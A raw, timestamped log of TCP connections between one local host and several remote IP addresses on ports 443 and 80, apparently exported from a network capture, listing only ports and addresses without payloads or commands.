Nov 5, 2024 10:13:45.346091986 CET	443	49898	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.386104107 CET	49899	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.386137962 CET	443	49899	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.386687040 CET	49899	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.386692047 CET	443	49899	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.395900965 CET	49900	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.395950079 CET	443	49900	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.396296024 CET	49900	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.396303892 CET	443	49900	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.403022051 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:45.403069973 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:45.403145075 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:45.403327942 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:45.403337002 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:45.434576035 CET	49915	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.434632063 CET	443	49915	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.434832096 CET	49915	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.436904907 CET	49915	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.436923027 CET	443	49915	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.446933031 CET	443	49897	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.447002888 CET	443	49897	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.447074890 CET	49897	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.447241068 CET	49897	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.447257042 CET	443	49897	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.447266102 CET	49897	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.447271109 CET	443	49897	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.449980021 CET	49916	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.450027943 CET	443	49916	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.450232029 CET	49916	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.450367928 CET	49916	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.450380087 CET	443	49916	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.491385937 CET	443	49898	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.491781950 CET	443	49898	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.491837025 CET	49898	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.492711067 CET	49898	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.492727041 CET	443	49898	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.492738008 CET	49898	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.492743015 CET	443	49898	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.495619059 CET	49918	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.495646000 CET	443	49918	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.495704889 CET	49918	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.496072054 CET	49918	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.496083975 CET	443	49918	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.521961927 CET	443	49899	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.522414923 CET	443	49899	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.522464991 CET	49899	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.522475004 CET	443	49899	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.522574902 CET	49899	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.522699118 CET	49899	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.522716999 CET	443	49899	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.522726059 CET	49899	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.522731066 CET	443	49899	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.525499105 CET	49919	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.525536060 CET	443	49919	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.525594950 CET	49919	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.525753975 CET	49919	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.525764942 CET	443	49919	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.531790018 CET	443	49900	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.531858921 CET	443	49900	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.531913042 CET	49900	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.532990932 CET	49900	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.533008099 CET	443	49900	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.533020973 CET	49900	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.533025026 CET	443	49900	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.535645008 CET	49920	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.535666943 CET	443	49920	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.535917997 CET	49920	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.536156893 CET	49920	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.536168098 CET	443	49920	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.607721090 CET	443	49891	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:45.683249950 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.683281898 CET	443	49891	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:45.684153080 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.684165955 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.684385061 CET	443	49891	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:45.684423923 CET	443	49891	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:45.684478045 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.716623068 CET	49922	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.716670990 CET	443	49922	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:45.716742039 CET	49922	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.717314005 CET	49922	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.717327118 CET	443	49922	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:45.781224012 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.781275988 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:45.781344891 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.781563997 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.781579971 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:46.051974058 CET	443	49910	18.244.18.38	192.168.2.5
Nov 5, 2024 10:13:46.052191019 CET	49910	443	192.168.2.5	18.244.18.38
Nov 5, 2024 10:13:46.052198887 CET	443	49910	18.244.18.38	192.168.2.5
Nov 5, 2024 10:13:46.053200960 CET	443	49910	18.244.18.38	192.168.2.5
Nov 5, 2024 10:13:46.053253889 CET	49910	443	192.168.2.5	18.244.18.38
Nov 5, 2024 10:13:46.054356098 CET	49910	443	192.168.2.5	18.244.18.38
Nov 5, 2024 10:13:46.054410934 CET	443	49910	18.244.18.38	192.168.2.5
Nov 5, 2024 10:13:46.180154085 CET	443	49915	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.180696964 CET	49915	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.180732965 CET	443	49915	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.181540966 CET	49915	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.181546926 CET	443	49915	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.204287052 CET	49910	443	192.168.2.5	18.244.18.38
Nov 5, 2024 10:13:46.204296112 CET	443	49910	18.244.18.38	192.168.2.5
Nov 5, 2024 10:13:46.221550941 CET	443	49916	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.223552942 CET	49916	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.223599911 CET	443	49916	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.224051952 CET	49916	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.224062920 CET	443	49916	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.247873068 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.252351999 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.252373934 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.252782106 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.252796888 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.252834082 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.252840996 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.252867937 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.252883911 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.253508091 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.260500908 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.260612965 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.260653019 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.270271063 CET	443	49919	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.270675898 CET	49919	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.270708084 CET	443	49919	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.271572113 CET	49919	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.271579981 CET	443	49919	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.291110992 CET	443	49918	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.291296005 CET	443	49920	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.291517019 CET	49918	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.291543007 CET	443	49918	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.291619062 CET	49920	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.291651964 CET	443	49920	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.292078018 CET	49920	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.292083025 CET	443	49920	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.292249918 CET	49918	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.292254925 CET	443	49918	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.303333998 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.314677954 CET	49910	443	192.168.2.5	18.244.18.38
Nov 5, 2024 10:13:46.314696074 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.314707994 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.315869093 CET	443	49915	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.315915108 CET	443	49915	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.315962076 CET	443	49915	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.315994024 CET	49915	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.316040993 CET	49915	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.316201925 CET	49915	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.316224098 CET	443	49915	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.316236019 CET	49915	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.316242933 CET	443	49915	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.319186926 CET	49928	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.319216967 CET	443	49928	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.319272995 CET	49928	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.319394112 CET	49928	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.319406986 CET	443	49928	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.362838984 CET	443	49916	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.362907887 CET	443	49916	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.362962961 CET	49916	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.366108894 CET	49916	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.366131067 CET	443	49916	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.366144896 CET	49916	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.366149902 CET	443	49916	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.370115042 CET	49929	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.370155096 CET	443	49929	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.370281935 CET	49929	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.370403051 CET	49929	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.370418072 CET	443	49929	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.406300068 CET	443	49919	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.406368017 CET	443	49919	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.406541109 CET	49919	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.406570911 CET	49919	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.406585932 CET	443	49919	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.406594992 CET	49919	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.406599045 CET	443	49919	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.410217047 CET	49930	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.410235882 CET	443	49930	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.410761118 CET	49930	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.410892963 CET	49930	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.410903931 CET	443	49930	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.429544926 CET	443	49920	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.429604053 CET	443	49920	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.429651976 CET	49920	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.429781914 CET	49920	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.429801941 CET	443	49920	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.429815054 CET	49920	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.429820061 CET	443	49920	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.431942940 CET	49931	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.431982040 CET	443	49931	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.432076931 CET	49931	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.432267904 CET	49931	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.432281017 CET	443	49931	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.434700966 CET	443	49918	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.434787989 CET	443	49918	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.434838057 CET	49918	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.434957027 CET	49918	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.434964895 CET	443	49918	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.434988022 CET	49918	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.434992075 CET	443	49918	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.437118053 CET	49932	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.437134981 CET	443	49932	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.437203884 CET	49932	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.437432051 CET	49932	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:46.437448025 CET	443	49932	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:46.442203999 CET	49845	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:46.442436934 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:46.446970940 CET	80	49845	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:46.447305918 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:46.447366953 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:46.447470903 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:46.447513103 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:46.452258110 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:46.452485085 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:46.452492952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:46.452502966 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:46.502060890 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.502208948 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.502265930 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.502324104 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.502331018 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.506303072 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.506351948 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.506359100 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.514981031 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.515038013 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.515044928 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.523765087 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.523929119 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.523936033 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.542593956 CET	49703	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:13:46.542711020 CET	49703	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:13:46.543765068 CET	49935	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:13:46.543786049 CET	443	49935	23.1.237.91	192.168.2.5
Nov 5, 2024 10:13:46.543891907 CET	49935	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:13:46.544194937 CET	49935	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:13:46.544207096 CET	443	49935	23.1.237.91	192.168.2.5
Nov 5, 2024 10:13:46.547485113 CET	443	49703	23.1.237.91	192.168.2.5
Nov 5, 2024 10:13:46.547869921 CET	443	49703	23.1.237.91	192.168.2.5
Nov 5, 2024 10:13:46.595473051 CET	49910	443	192.168.2.5	18.244.18.38
Nov 5, 2024 10:13:46.595532894 CET	443	49910	18.244.18.38	192.168.2.5
Nov 5, 2024 10:13:46.595604897 CET	49910	443	192.168.2.5	18.244.18.38
Nov 5, 2024 10:13:46.611349106 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.611361027 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.617552042 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.617604971 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.617613077 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.621804953 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.621932030 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.621937990 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.630354881 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.630403996 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.630413055 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.639292955 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.639364958 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.639372110 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.689340115 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.689395905 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.689404964 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.691658020 CET	49939	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:46.691693068 CET	443	49939	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:46.691770077 CET	49939	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:46.691993952 CET	49940	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:46.692023993 CET	443	49940	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:46.692086935 CET	49940	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:46.692245960 CET	49939	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:46.692261934 CET	443	49939	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:46.692456961 CET	49940	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:46.692466974 CET	443	49940	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:46.701236010 CET	49941	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:46.701272011 CET	443	49941	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:46.701319933 CET	49941	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:46.701778889 CET	49941	443	192.168.2.5	172.64.41.3
Nov 5, 2024 10:13:46.701798916 CET	443	49941	172.64.41.3	192.168.2.5
Nov 5, 2024 10:13:46.732898951 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.733906984 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.733944893 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.737521887 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.737588882 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.737596989 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.745953083 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.745996952 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.746006966 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.756808043 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.756835938 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.756846905 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.756856918 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.756966114 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.759135962 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.805946112 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.806001902 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.806024075 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.837032080 CET	49935	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:13:46.851002932 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.851075888 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.851097107 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.853785038 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.853842974 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.853852034 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.862607002 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.862683058 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.862690926 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.871442080 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.871645927 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.871653080 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.882419109 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:46.883590937 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:46.883615971 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:46.884318113 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:46.884325027 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:46.884385109 CET	49924	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:46.884401083 CET	443	49924	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:46.920480013 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.920514107 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.920540094 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.920556068 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.920670986 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.963776112 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.968127966 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.968158007 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.968188047 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.968208075 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.968219995 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.968245029 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.976922989 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.976985931 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.976994991 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.986881971 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.986970901 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.987011909 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.987020016 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:46.989449978 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:46.990271091 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.036114931 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.036190033 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.036209106 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.076623917 CET	443	49928	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.077200890 CET	49928	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.077236891 CET	443	49928	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.077883959 CET	49928	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:47.077889919 CET	443	49928	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:47.080729008 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.080787897 CET	49914	443	192.168.2.5	142.250.186.129
Nov 5, 2024 10:13:47.080796957 CET	443	49914	142.250.186.129	192.168.2.5
Nov 5, 2024 10:13:47.092148066 CET	443	49914	142.250.186.129	192.168.2.5
